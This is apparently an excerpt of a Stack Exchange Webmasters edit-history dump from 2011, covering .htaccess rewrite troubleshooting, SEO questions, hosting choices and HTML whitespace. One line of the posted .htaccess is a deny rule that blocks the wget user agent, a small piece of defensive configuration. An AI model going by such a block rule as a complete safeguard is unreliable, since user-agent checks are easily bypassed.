  <row Id="28408" PostHistoryTypeId="5" PostId="12423" RevisionGUID="9f0d3390-414d-40a1-974d-8a5b6abc8ec6" CreationDate="2011-04-18T22:05:58.623" UserId="743" Comment="Formatting fixes" Text="I just moved from a dedicated server to a shared server to save money, but now my htaccess file doesn't work. I think its 1and1, but I'm not 100% sure. What the heck is wrong? Any ideas?&#xD;&#xA;&#xD;&#xA;The single pages work:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^internships/?$ internships.php [L]&#xD;&#xA;&#xD;&#xA;but pages underneath them don't:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^internships/([A-Za-z0-9_-]+)/?$ internships.php?p=$1 [L]&#xD;&#xA;&#xD;&#xA;So if you go to `mysite.com/internships` it will bring you to the correct page, but if you go to `internships/photography` it won't.&#xD;&#xA;&#xD;&#xA;### htaccess file&#xD;&#xA;&#xD;&#xA;    AddType x-mapp-php5 .php&#xD;&#xA;    &#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www.mySite\.com$&#xD;&#xA;    RewriteRule ^(.*)$ http://mySite.com/$1 [R=301,L]&#xD;&#xA;    &#xD;&#xA;    #temporary#######&#xD;&#xA;    RewriteRule ^casting-calls/?$ soon.php [L]&#xD;&#xA;    RewriteRule ^upgrade/?$ soon.php [L]&#xD;&#xA;    #################&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^internships/([A-Za-z0-9_-]+)/?$ internships.php?p=$1 [L]&#xD;&#xA;    RewriteRule ^internships/?$ internships.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^profile/mail/to-([A-Za-z0-9_-]+)/?$ mail.php?to=$1&#xD;&#xA;    RewriteRule ^profile/mail/(read|unread|sent)/?$ mail.php?view=$1 [L]&#xD;&#xA;    RewriteRule ^profile/mail/?$ mail.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^privacy/?$ privacy.php [L]&#xD;&#xA;    RewriteRule ^terms/?$ terms.php [L]&#xD;&#xA;    RewriteRule ^contact/?$ contact.php [L]&#xD;&#xA;    RewriteRule ^advertising/?$ advertising.php [L]&#xD;&#xA;    RewriteRule ^membership/?$ membership.php [L]&#xD;&#xA;    RewriteRule ^forgot/?$ forgot.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^admin/([a-z_]+)/?$ admin.php?m=$1 [QSA,L]&#xD;&#xA;    RewriteRule ^admin/?$ admin.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^user/([A-Za-z0-9_-]+)/photos/([0-9]+)/?$ portfolio.php?username=$1&amp;photo=$2 [L]&#xD;&#xA;    RewriteRule ^user/([A-Za-z0-9_-]+)/photos/?$ portfolio.php?username=$1 [L]&#xD;&#xA;    RewriteRule ^user/([A-Za-z0-9_-]+)/?$ user.php?username=$1 [L]&#xD;&#xA;    RewriteRule ^user/([A-Za-z0-9_-]+)/common-friends/([0-9]+)/?$ friends.php?username=$1&amp;page=$2&amp;common=1 [L]&#xD;&#xA;    RewriteRule ^user/([A-Za-z0-9_-]+)/common-friends/?$ friends.php?username=$1&amp;common=1 [L]&#xD;&#xA;    RewriteRule ^user/([A-Za-z0-9_-]+)/friends/([0-9]+)/?$ friends.php?username=$1&amp;page=$2 [L]&#xD;&#xA;    RewriteRule ^user/([A-Za-z0-9_-]+)/friends/?$ friends.php?username=$1 [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^issues-([0-9]+)/?$ issues.php?issue=$1 [L]&#xD;&#xA;    RewriteRule ^issues/?$ issues.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^join/(model|industry|agency|subscriber)/process-([0-9]+)/?$ join.php?type=$1 [L]&#xD;&#xA;    RewriteRule ^join/(model|industry|agency|subscriber)/?$ join.php?type=$1 [L]&#xD;&#xA;    RewriteRule ^join/?$ join.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^profile/friends/(banned|requests)/([0-9]+)/?$ friends.php?mode=$1&amp;page=$2&#xD;&#xA;    RewriteRule ^profile/friends/(banned|requests)/?$ friends.php?mode=$1&#xD;&#xA;    RewriteRule ^profile/friends/([0-9]+)/?$ friends.php?page=$1 [L]&#xD;&#xA;    RewriteRule ^profile/friends/?$ friends.php [L]&#xD;&#xA;    RewriteRule ^profile/photos/edit-profilepic/?$ portfolio.php?edit=profilepic [L]&#xD;&#xA;    RewriteRule ^profile/photos/?$ portfolio.php [L]&#xD;&#xA;    RewriteRule ^profile/experience/?$ profile-edit.php?m=experience [L]&#xD;&#xA;    RewriteRule ^profile/personal/?$ profile-edit.php?m=personal [L]&#xD;&#xA;    RewriteRule ^profile/resume/?$ profile-edit.php?m=resume [L]&#xD;&#xA;    RewriteRule ^profile/settings/?$ profile-edit.php [L]&#xD;&#xA;    RewriteRule ^profile/?$ profile.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^profile/(.*) http://modelingintl.com/user/$1 [R=301,L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/browse/(new|hot|results)/([0-9]+)/?$ voting.php?contest=$2&amp;photo=$4&amp;sort=$3 [L]&#xD;&#xA;    RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/browse/(new|hot|results)/?$ voting.php?contest=$2&amp;photo=1&amp;sort=$3 [L]&#xD;&#xA;    RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/browse/([0-9]+)/?$ voting.php?contest=$2&amp;photo=$3 [L]&#xD;&#xA;    RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/browse/?$ voting.php?contest=$2&amp;photo=1 [L]&#xD;&#xA;    RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/add/?$ voting.php?contest=$2&amp;add=1&#xD;&#xA;    RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/(new|hot|results)/([0-9]+)/?$ voting.php?contest=$2&amp;page=$4&amp;sort=$3 [L]&#xD;&#xA;    RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/(new|hot|results)/?$ voting.php?contest=$2&amp;sort=$3 [L]&#xD;&#xA;    RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/([0-9]+)/?$ voting.php?contest=$2&amp;page=$3 [L]&#xD;&#xA;    RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/?$ voting.php?contest=$2 [L]&#xD;&#xA;    RewriteRule ^voting/vol([0-9]+)-iss([0-9]+)/([A-Za-z0-9_-]+)/?$ voting.php?vol=$1&amp;iss=$2&amp;network=$3 [L]&#xD;&#xA;    RewriteRule ^voting/vol([0-9]+)-iss([0-9]+)/?$ voting.php?vol=$1&amp;iss=$2 [L]&#xD;&#xA;    RewriteRule ^voting/?$ voting.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^search/([0-9]+)/?$ search.php?page=$1&amp;view=1 [L]&#xD;&#xA;    RewriteRule ^search/([0-9]+)/(details|photos)/?$ search.php?page=$1&amp;view=$2 [L]&#xD;&#xA;    RewriteRule ^search/(details|photos)/([0-9]+)/?$ search.php?page=$2view=$1 [L]&#xD;&#xA;    RewriteRule ^search/(details|photos)/?$ search.php?view=$1 [L]&#xD;&#xA;    RewriteRule ^search/?$ search.php?view=1 [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^articles/([A-Za-z0-9_-]+)-([0-9]+)/?$ article.php?article=$2 [L]&#xD;&#xA;    RewriteRule ^articles/?$ contribute.php [L]&#xD;&#xA;    RewriteRule ^contribute/submit/?$ contribute.php?submit=1 [L]&#xD;&#xA;    RewriteRule ^contribute/([A-Za-z0-9\s_-]+)/([0-9]+)/?$ contribute.php?sfor=$1&amp;page=$2 [L]&#xD;&#xA;    RewriteRule ^contribute/([0-9]+)/?$ contribute.php?page=$1 [L]&#xD;&#xA;    RewriteRule ^contribute/?$ contribute.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^qna/([A-Za-z0-9_-]+)-([0-9]+)/?$ question.php?qna=$2 [L]&#xD;&#xA;    RewriteRule ^qna/([A-Za-z0-9\s_-]+)/([0-9]+)/?$ qna.php?sfor=$1&amp;page=$2 [L]&#xD;&#xA;    RewriteRule ^qna/submit/?$ qna.php?submit=1 [L]&#xD;&#xA;    RewriteRule ^qna/([0-9]+)/?$ qna.php?page=$1 [L]&#xD;&#xA;    RewriteRule ^qna/?$ qna.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^api/([A-Za-z0-9_-]+)$ api.php?m=$1 [QSA,L]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT} wget [NC]&#xD;&#xA;    RewriteRule .* - [F] " />
  <row Id="28409" PostHistoryTypeId="4" PostId="12423" RevisionGUID="9f0d3390-414d-40a1-974d-8a5b6abc8ec6" CreationDate="2011-04-18T22:05:58.623" UserId="743" Comment="Formatting fixes" Text="htaccess file isn't working, but did work before" />
  <row Id="28410" PostHistoryTypeId="24" PostId="12423" RevisionGUID="9f0d3390-414d-40a1-974d-8a5b6abc8ec6" CreationDate="2011-04-18T22:05:58.623" Comment="Proposed by 743 approved by 1253 edit id of 141" />
  <row Id="28411" PostHistoryTypeId="2" PostId="12430" RevisionGUID="a36de39b-29cf-4e49-8523-5e74b1bb8aca" CreationDate="2011-04-18T22:34:41.060" UserId="5013" Text="**Background**&#xD;&#xA;I am a member of the website HubPages where I have about a hundred articles (and I'm always writing more.)&#xD;&#xA;&#xD;&#xA;Anyway, HubPages revenue model is 40% ad-share for them and 60% ad share for users.&#xD;&#xA;&#xD;&#xA;While the userbase there is really friendly, the site is REALLY slow, buggy and there is a ton of content on HubPages that is copied from other sources. Upon flagging these articles it takes a ton of time for mods to remove it and it's just generally dragging down my stuff.&#xD;&#xA;&#xD;&#xA;Furthermore, HubPages was hit really hard by Google's Panda Update:&#xD;&#xA;http://www.google.com/search?hl=en&amp;rlz=1B3GGLL_enUS426US426&amp;tbm=nws&amp;q=google+panda&amp;&#xD;&#xA;&#xD;&#xA;Aside from the temporary problems I would deal with when removing content from HubPages and putting it on my own domain (duplicate content, etc) I have another problem.&#xD;&#xA;&#xD;&#xA;Which would be the best for my articles? I have tons of articles in a wide variety of niches and would like to do what would help them perform the best. I'm not a huge niche writer and have received wide criticism from the HubPages community for my articles not performing as well as they could because I don't use enough keywords within the text of my articles. I prefer to write more naturally in a way that would appeal to an audience instead of keyword stuff. Anyway, this is aside the point.&#xD;&#xA;&#xD;&#xA;**My Question**&#xD;&#xA;After removing my articles from HubPages, should I put them on one domain or spread them across multiple domains grouped sort of by topic. For example:&#xD;&#xA;a-bunch-of-articles.com&#xD;&#xA;OR&#xD;&#xA;travel-articles.com&#xD;&#xA;and&#xD;&#xA;financial-articles.com&#xD;&#xA;and&#xD;&#xA;knitting-articles.com&#xD;&#xA;&#xD;&#xA;(I know those domains aren't available, but it's just kind of an example.)&#xD;&#xA;&#xD;&#xA;Here are the pros and cons of each:&#xD;&#xA;&#xD;&#xA;a mixed bag site like a-bunch-of-articles.com may not perform as well because of its mixed-bag nature&#xD;&#xA;&#xD;&#xA;a mixed bag site would be updated far more frequently than several niche sites... some niche sites may be updated so infrequently that a year could pass before one sees a new article&#xD;&#xA;&#xD;&#xA;a mixed bag site would be like putting all my eggs is one basket, where having several niche sites would spread out my portfolio, so to speak.&#xD;&#xA;&#xD;&#xA;a mixed bag site would be cheaper, $14 (two year registration) to start out with and hosting and I'm good to go.&#xD;&#xA;&#xD;&#xA;a mixed bag site wouldn't allow me to easily target keywords, but then again isn't HubPages pretty much a mixed bag site?" />
  <row Id="28412" PostHistoryTypeId="1" PostId="12430" RevisionGUID="a36de39b-29cf-4e49-8523-5e74b1bb8aca" CreationDate="2011-04-18T22:34:41.060" UserId="5013" Text="A frequently updated mixed bag blog OR several seldom updated niche sites?" />
  <row Id="28413" PostHistoryTypeId="3" PostId="12430" RevisionGUID="a36de39b-29cf-4e49-8523-5e74b1bb8aca" CreationDate="2011-04-18T22:34:41.060" UserId="5013" Text="&lt;seo&gt;&lt;google&gt;&lt;domain-names&gt;&lt;blog&gt;&lt;articles&gt;" />
  <row Id="28414" PostHistoryTypeId="2" PostId="12431" RevisionGUID="a1f9475d-3f95-4735-bd4d-5d830370affe" CreationDate="2011-04-18T22:37:49.170" UserId="5013" Text="You may want to include screenshots of your widget on the site you created for it.&#xD;&#xA;&#xD;&#xA;Also, in the upper corner of the map (within actual map) you could include the words&#xD;&#xA;&quot;This map was generated using Come Hike&quot; and the come hike part could be a link to your site... just an idea." />
  <row Id="28415" PostHistoryTypeId="2" PostId="12432" RevisionGUID="3e3d148f-4598-4697-824c-cefde63b4904" CreationDate="2011-04-18T22:42:28.493" UserId="5013" Text="You will want to do a 301 redirect. Also, get a Google Webmaster Tools account (it's free) so that you can monitor how Google indexes the new url. It can take quite a while for Google to remove the old url from its index without a 301 redirect. If you don't do a 301, everything will eventually get ironed out and search will start bringing up the new url, but by doing a 301, you make things a billion times easier.&#xD;&#xA;&#xD;&#xA;In the future, you may want to put a robots.txt in when testing a site on a url in order to prevent the search engine from crawling and indexing it so that you don't run into this problem again. Then, when you move the stuff to the new url, the content will still all be new to Google." />
  <row Id="28416" PostHistoryTypeId="2" PostId="12433" RevisionGUID="171f8d13-9d58-46bb-b3fb-0f4f43c49cfb" CreationDate="2011-04-18T22:43:09.647" UserId="6467" Text="Here is a question for you. Why would people want to come to a website like this? Why did Google penalize them? Why have sites like this received a bad reputation? &#xD;&#xA;&#xD;&#xA;Why not concentrate on building a website that helps people in a certain niche. One thats provides tremendous value. " />
  <row Id="28417" PostHistoryTypeId="2" PostId="12434" RevisionGUID="67dbe8b9-ce1e-4e08-8827-c56ad24b2676" CreationDate="2011-04-18T22:56:17.103" UserId="-1" Text="" />
  <row Id="28418" PostHistoryTypeId="2" PostId="12435" RevisionGUID="e5875dbe-efd7-4981-aacc-41f606c3760d" CreationDate="2011-04-18T22:56:17.103" UserId="-1" Text="" />
  <row Id="28419" PostHistoryTypeId="2" PostId="12436" RevisionGUID="28d2f5a1-fdaf-4635-b04d-c202bc99c29d" CreationDate="2011-04-18T23:03:24.440" UserId="5013" Text="I know that most free hosts that allow you the comprehensive control you are looking for (stuff that isn't just pre-installed soft for your use: blogger.com, wordpress.com, etc) will likely require you to show some sort of ad or backlink on your site. If this is something you are open to, I may be able to dig something up for you.&#xD;&#xA;&#xD;&#xA;There is also this site which doesn't require an ad or anything and it says they are free. I cannot tell you, however, how legit this is: http://www.freehosting.com/client/cart.php&#xD;&#xA;&#xD;&#xA;Alternatively, if you're on a connection with a static ip and have another machine lying around, it would be a cinch to throw some flavor of linux on there and install whatever you need to keep a hobby site up." />
  <row Id="28420" PostHistoryTypeId="2" PostId="12437" RevisionGUID="1ebae316-34cb-4737-8a4e-8ec9ecc30d5e" CreationDate="2011-04-18T23:17:03.643" UserId="3171" Text="Strange - I used to host on 1&amp;1, and never had a problem with rewrites... but it doesn't sound like their support are being particular helpful.&#xD;&#xA;&#xD;&#xA;First off - get them to confirm that mod_rewrite is enabled (the reason /internships may be working is because they enable mod_negotiation which looks for a best match if it doesn't find the correct one - so mod_negotiation is loading internships.php and not mod_rewrite).&#xD;&#xA;&#xD;&#xA;A really quick check is if you access the site as www.mysite.com - do you get redirected to mysite.com? That should confirm it either way.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;One thing though - can you make it clearer if mysite.com/internships/photography is directing you to internships or to a 404?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28421" PostHistoryTypeId="5" PostId="10184" RevisionGUID="7851a6c2-3e73-456b-b5a0-daa23f7cc3c7" CreationDate="2011-04-18T23:41:20.057" UserId="5013" Comment="deleted 9 characters in body" Text="The best way to get backlinks is to have quality content on your site that is not only worth reading, but worth searching for. For example, lets say I am helping a friend on a forum with a problem they are having with their iPhone or something. If I am searching for the problem and come across YOUR site and what you offer helps me out, I will put a link on the forum post to your site... telling my friend &quot;Hey, here's where you can find the solution.&quot; These are the backlinks you want. You can create them yourself, if you want, but nothing is as good as producing content that is thought-provoking or helpful, because it earns its own backlinks.&#xD;&#xA;&#xD;&#xA;My strongest content is my most well-written content. Google loves well-written content and so do readers... and readers WILL link out to good content.&#xD;&#xA;&#xD;&#xA;One personal example is an article I'd written that was just a little complaint about how I thought &quot;something&quot; was unfair. Other people thought &quot;something&quot; was unfair and made searches on it. They came across my post and thought it was interesting and linked to it on FaceBook, twitter, on their blogs. They made comments on blogs linking to my post and on forums, too. My article became very popular and later the Wall Street Journal did an article on the thing I thought was unfair, interviewed me, and mentioned me in their article. It did me really well. Just because it was what people thought was thought-provoking.&#xD;&#xA;&#xD;&#xA;So write great content and you will be surprised what comes your way. If you put all your effort in your content and none in backlinks, I think you can do really well. That doesn't completely rule out SEO, though. Make sure your site is search engine friendly, too. Then, you're good to go." />
  <row Id="28422" PostHistoryTypeId="2" PostId="12438" RevisionGUID="03f7472c-d93b-476c-b465-d30be3705862" CreationDate="2011-04-18T23:59:09.333" UserId="5013" Text="Is there a reason to use blog.website.com versus website.com/blog?&#xD;&#xA;&#xD;&#xA;What are the pros and cons of each?" />
  <row Id="28423" PostHistoryTypeId="1" PostId="12438" RevisionGUID="03f7472c-d93b-476c-b465-d30be3705862" CreationDate="2011-04-18T23:59:09.333" UserId="5013" Text="Which is better: blog.website.com or website.com/blog" />
  <row Id="28424" PostHistoryTypeId="3" PostId="12438" RevisionGUID="03f7472c-d93b-476c-b465-d30be3705862" CreationDate="2011-04-18T23:59:09.333" UserId="5013" Text="&lt;seo&gt;&lt;subdomain&gt;" />
  <row Id="28425" PostHistoryTypeId="25" PostId="12418" RevisionGUID="903730f9-6c91-4325-a7f4-6843d07d09ca" CreationDate="2011-04-19T00:09:17.837" Comment="http://twitter.com/#!/StackWebmasters/status/60132826552614912" />
  <row Id="28426" PostHistoryTypeId="5" PostId="12438" RevisionGUID="8138ea36-40a7-45b1-a14d-177defac38aa" CreationDate="2011-04-19T00:19:02.727" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Are page ranks for subdomains independent?](http://webmasters.stackexchange.com/questions/3494/are-page-ranks-for-subdomains-independent)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Is there a reason to use blog.website.com versus website.com/blog?&#xD;&#xA;&#xD;&#xA;What are the pros and cons of each?" />
  <row Id="28427" PostHistoryTypeId="10" PostId="12438" RevisionGUID="9b08c6e6-1e2e-46e6-8afd-db4f46922cb0" CreationDate="2011-04-19T00:19:02.353" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="28428" PostHistoryTypeId="2" PostId="12439" RevisionGUID="99c7f489-5d85-44d6-a5dd-6f97174e32f6" CreationDate="2011-04-19T00:35:21.237" UserId="5013" Text="I have a website on one CMS and I wish to switch to another CMS. What are some problems SEO-wise that I could run into?&#xD;&#xA;&#xD;&#xA;I am aware that the way each CMS handles urls is different, so I'll make sure that urls are handled the same:&#xD;&#xA;&#xD;&#xA;mysite.com/page-about-something&#xD;&#xA;mysite.com/node2&#xD;&#xA;&#xD;&#xA;What are some other problems I may face?" />
  <row Id="28429" PostHistoryTypeId="1" PostId="12439" RevisionGUID="99c7f489-5d85-44d6-a5dd-6f97174e32f6" CreationDate="2011-04-19T00:35:21.237" UserId="5013" Text="SEO Problems When Changing CMS" />
  <row Id="28430" PostHistoryTypeId="3" PostId="12439" RevisionGUID="99c7f489-5d85-44d6-a5dd-6f97174e32f6" CreationDate="2011-04-19T00:35:21.237" UserId="5013" Text="&lt;seo&gt;&lt;cms&gt;" />
  <row Id="28431" PostHistoryTypeId="2" PostId="12440" RevisionGUID="2e1e2e96-19a2-420c-984a-7cc3d0886990" CreationDate="2011-04-19T01:07:46.060" UserId="590" Text="take a look at Nearly Free Speach.&#xD;&#xA;https://www.nearlyfreespeech.net/&#xD;&#xA;&#xD;&#xA;It's not free.. but it's close." />
  <row Id="28432" PostHistoryTypeId="2" PostId="12441" RevisionGUID="597912ba-7bce-4413-91f5-1347de7e3373" CreationDate="2011-04-19T02:02:48.697" UserId="5718" Text="Although I'm not really an expert on SEO I believe that it's going to be easier to rank more focused niche sites. You would be able to build up a more consistent information architecture that Google should be able to interpret the meaning of easier via relevant internal linking. &#xD;&#xA;&#xD;&#xA;Also, long standing reputable domains often appear to be favored by Google as they are less likely to be owned by people trying to game the system for short term gains. This means that they can get indexed faster and rank better. If you develop several domains over a few years then some of them could become real assets.&#xD;&#xA;&#xD;&#xA;That said, the current way Google seems to rank sites places an emphasis on regular fresh content and I've found noticeable increases in the amount of traffic my site receives just by adding in a new article. My site doesn't have much content or traffic and I don't update it often so the effects are quite clear. It's not the new article that get the new traffic, the reputation boost goes across the board. This means that if you have many sites you only update a few times a year are going to be a challenge.&#xD;&#xA;&#xD;&#xA;You should probably try and look at the your articles and organize them into categories so you can take a middle ground. You might find that there are several topics that you have a special interest in and could build out individual sites with. The rest you could put into a 'blog' style site with a mixture of topics. You could even break off categories from the mixed site later on if you find categories growing and getting reasonable amounts of traffic.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28433" PostHistoryTypeId="2" PostId="12442" RevisionGUID="14dd0211-4fed-4f11-95d4-c3c95fb45c13" CreationDate="2011-04-19T02:08:18.343" UserId="6467" Text="It depends on how well the site is linked. If you have links going to abc.com/def.hml and the new is abc.com/xyz.html then you miss the link juice. You can do redirects but that may slow the site down. A few redirects are ok but hundreds or thousands are not. It will hurt site speed. &#xD;&#xA;I hope this helps. If we had more info it would be better. &#xD;&#xA;&#xD;&#xA;As you can see the choice of a CMS is very important. " />
  <row Id="28434" PostHistoryTypeId="2" PostId="12443" RevisionGUID="160d002b-a910-4a06-80e0-1c9cf29d3227" CreationDate="2011-04-19T00:51:05.160" UserDisplayName="Alexander" Text="I'm trying to block particular ads in Google Adsense that don't fit my site.&#xD;&#xA;&#xD;&#xA;There are some really annoying ads from www.plus500.com but I can't seem to get rid of all ads from them. How can I find out what the exact url of the ad is so that I can block it?&#xD;&#xA;&#xD;&#xA;I installed firebug but am unable to easily find urls with it." />
  <row Id="28435" PostHistoryTypeId="1" PostId="12443" RevisionGUID="160d002b-a910-4a06-80e0-1c9cf29d3227" CreationDate="2011-04-19T00:51:05.160" UserDisplayName="Alexander" Text="annoying google ads" />
  <row Id="28436" PostHistoryTypeId="3" PostId="12443" RevisionGUID="160d002b-a910-4a06-80e0-1c9cf29d3227" CreationDate="2011-04-19T00:51:05.160" UserDisplayName="Alexander" Text="&lt;google&gt;&lt;google-adsense&gt;" />
  <row Id="28437" PostHistoryTypeId="17" PostId="12443" RevisionGUID="0b48db06-16ff-4385-b201-7e5d9d9e4671" CreationDate="2011-04-19T02:29:12.003" UserId="-1" Comment="from http://stackoverflow.com/questions/5710414/annoying-google-ads" Text="" />
  <row Id="28438" PostHistoryTypeId="25" PostId="12443" RevisionGUID="0e8dd0c1-c9cb-4786-86cd-5b880a511c2b" CreationDate="2011-04-19T03:09:18.010" Comment="http://twitter.com/#!/StackWebmasters/status/60178125673349122" />
  <row Id="28442" PostHistoryTypeId="2" PostId="12445" RevisionGUID="30aa1da4-812e-40bc-8095-d8bc4d0882e1" CreationDate="2011-04-19T04:41:05.883" UserId="6952" Text="does any one know any sample web service URL for file upload?some thing like this http://www.webservicex.net/CurrencyConvertor.asmx?WSDL &#xD;&#xA;except that the method should be a file upload method. thanx:)&#xD;&#xA;" />
  <row Id="28443" PostHistoryTypeId="1" PostId="12445" RevisionGUID="30aa1da4-812e-40bc-8095-d8bc4d0882e1" CreationDate="2011-04-19T04:41:05.883" UserId="6952" Text="web service url for file uploading" />
  <row Id="28444" PostHistoryTypeId="3" PostId="12445" RevisionGUID="30aa1da4-812e-40bc-8095-d8bc4d0882e1" CreationDate="2011-04-19T04:41:05.883" UserId="6952" Text="&lt;web-services&gt;" />
  <row Id="28445" PostHistoryTypeId="2" PostId="12446" RevisionGUID="c42946b8-b943-46df-bec0-63dd0f11e3b5" CreationDate="2011-04-19T04:48:23.613" UserId="1463" Text="I subscribed to a Virtual Private Server (VPS) which promises 99.99% of up time guarantee. But I often encounter down time, slow access time and I'm thinking about how to &quot;get them&quot;.&#xD;&#xA;&#xD;&#xA;Is there anyway/ service that allows me to prove that the web hosting provider isn't delivering the 99.99% up time guarantee? &#xD;&#xA;" />
  <row Id="28446" PostHistoryTypeId="1" PostId="12446" RevisionGUID="c42946b8-b943-46df-bec0-63dd0f11e3b5" CreationDate="2011-04-19T04:48:23.613" UserId="1463" Text="How to check on the 99.99% Up time Guarantee?" />
  <row Id="28447" PostHistoryTypeId="3" PostId="12446" RevisionGUID="c42946b8-b943-46df-bec0-63dd0f11e3b5" CreationDate="2011-04-19T04:48:23.613" UserId="1463" Text="&lt;web-hosting&gt;&lt;shared-hosting&gt;" />
  <row Id="28448" PostHistoryTypeId="17" PostId="12448" RevisionGUID="a45a3a26-d7ce-49a8-8b4b-832a2218530e" CreationDate="2011-04-19T04:52:29.887" UserId="-1" Comment="from http://stackoverflow.com/questions/5704490/does-whitespace-in-html-code-effect-seo/5704533#5704533" Text="" />
  <row Id="28449" PostHistoryTypeId="17" PostId="12449" RevisionGUID="08ade4b8-e183-4d2e-afcc-94b0d248cb60" CreationDate="2011-04-19T04:52:29.887" UserId="-1" Comment="from http://stackoverflow.com/questions/5704490/does-whitespace-in-html-code-effect-seo/5704543#5704543" Text="" />
  <row Id="28450" PostHistoryTypeId="17" PostId="12450" RevisionGUID="881cc7dd-12a5-4c7b-8bc7-33ca56809f54" CreationDate="2011-04-19T04:52:29.887" UserId="-1" Comment="from http://stackoverflow.com/questions/5704490/does-whitespace-in-html-code-effect-seo/5704600#5704600" Text="" />
  <row Id="28451" PostHistoryTypeId="17" PostId="12451" RevisionGUID="d02fa94e-1349-4c85-a1a4-12089bc72b0e" CreationDate="2011-04-19T04:52:29.887" UserId="-1" Comment="from http://stackoverflow.com/questions/5704490/does-whitespace-in-html-code-effect-seo/5704608#5704608" Text="" />
  <row Id="28452" PostHistoryTypeId="17" PostId="12452" RevisionGUID="32289cd6-990a-449b-a90d-e1250c1bc3c8" CreationDate="2011-04-19T04:52:29.887" UserId="-1" Comment="from http://stackoverflow.com/questions/5704490/does-whitespace-in-html-code-effect-seo/5704609#5704609" Text="" />
  <row Id="28453" PostHistoryTypeId="2" PostId="12448" RevisionGUID="223d2e14-c255-43bd-b6a1-da33d6c20059" CreationDate="2011-04-18T14:38:49.363" UserId="1780" Text="According to [this SEO blog entry][1], which is transcribing what the head of Google's webspam team [Matt Cutts][2] says in the Video, no. &#xD;&#xA;&#xD;&#xA;&gt; We really don’t care that much. We’re pretty good that anytime we see white space, we’ll separate stuff and we can ignore white space. It really doesn’t cause us a lot of harm either way.&#xD;&#xA;The only thing to really pay attention to is where I have seen some really sneaky people who will try to do hidden text or whatever and they’ll start off their HTML with like 60 new lines. So whenever you view source code you’re like, “Man, it’s blank, there is no source. Whoa dude you just blew my mind.” And anybody who is savvy is like, “or I can use the scroll bar and see what’s down here.”&#xD;&#xA;&#xD;&#xA;It wouldn't make any sense, either.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jamesmartell.com/matt-cutts/is-excessive-whitespace-in-the-html-source-bad/&#xD;&#xA;  [2]: http://www.mattcutts.com/blog/about-me/" />
  <row Id="28454" PostHistoryTypeId="2" PostId="12450" RevisionGUID="cfb90761-16e8-4a5a-b2df-acbe5e3e7a93" CreationDate="2011-04-18T14:42:19.270" UserDisplayName="esnyder" Text="I think that extra whitespace in odd places will hurt SEO.&#xD;&#xA;&#xD;&#xA;For example,&#xD;&#xA;&#xD;&#xA;    &lt;img alt=&quot;This&#xD;&#xA;    is my&#xD;&#xA;    alt tag&quot; src=&quot;weaksauce.gif&quot;/&gt;&#xD;&#xA;&#xD;&#xA;That will probably not result in a proper tagging of the image with some tools.&#xD;&#xA;&#xD;&#xA;Also - it is somewhat common to maintain two versions of your HTML - dev and production.  You could most definitely strip out all of the whitespace as part of your publishing process if you wanted to.  Your maintainability would still be there but your page would be crunched or otherwise transformed as you want it to be.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28455" PostHistoryTypeId="2" PostId="12451" RevisionGUID="5c1340e4-c019-4cc5-bf12-ee5826e47f17" CreationDate="2011-04-18T14:42:54.503" UserDisplayName="akamike" Text="&gt; So I would far prefer to write code&#xD;&#xA;&gt; like the first example, but of course,&#xD;&#xA;&gt; SEO should be considered priority.&#xD;&#xA;&#xD;&#xA;No, writing semantic and maintainable mark-up/code is the priority. If you write semantic mark-up then you will likely gain more SEO benefit than any rumours of SEO faeries and voodoo.&#xD;&#xA;&#xD;&#xA;But to answer your question, whitespace should not matter. If it is a concern of yours, try writing it in a maintainable fashion and using HTML/CSS/JS minification to reduce filesize and optimise the websites performance, which is taken into account by search engines like [Google][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html" />
